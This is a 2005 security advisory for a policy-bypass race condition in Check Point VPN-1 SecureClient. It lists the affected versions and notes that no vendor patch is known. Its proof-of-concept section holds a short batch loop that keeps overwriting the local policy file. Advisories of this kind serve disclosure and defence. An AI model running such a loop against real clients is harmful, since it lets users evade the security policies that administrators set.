Check Point VPN-1 SecureClient Policy Bypass Vulnerability

BID:15757

Info

Check Point VPN-1 SecureClient Policy Bypass Vulnerability

Bugtraq ID: 15757
Class: Race Condition Error
CVE:
Remote: Yes
Local: No
Published: Dec 07 2005 12:00AM
Updated: Dec 07 2005 12:00AM
Credit: Viktor Steinmann <[email protected]> discovered this vulnerability.
Vulnerable: Check Point Software SecureClient NG with Application Intelligence R56
Check Point Software SecureClient NG FP1
Check Point Software SecureClient 4.1
Check Point Software SecureClient 4.0
Not Vulnerable:

Discussion

Check Point VPN-1 SecureClient Policy Bypass Vulnerability

VPN-1 SecureClient is reported prone to a policy bypass vulnerability. This issue is due to a failure of the application to securely implement remote administrator-provided policies on affected computers.

This issue allows remote VPN users to bypass the administratively-defined security policies. Specific issues arising from this vulnerability depend on the intended policies defined by administrators. Some examples of the consequences are: unauthorized computers may connect, scripts may not execute, or insecure network configurations may be possible.

Exploit / POC

Check Point VPN-1 SecureClient Policy Bypass Vulnerability

An exploit is not required.

A sample script to overwrite the policy file is provided:

:Loop
copy x.scv local.scv
goto Loop

Solution / Fix

Check Point VPN-1 SecureClient Policy Bypass Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

References

Check Point VPN-1 SecureClient Policy Bypass Vulnerability

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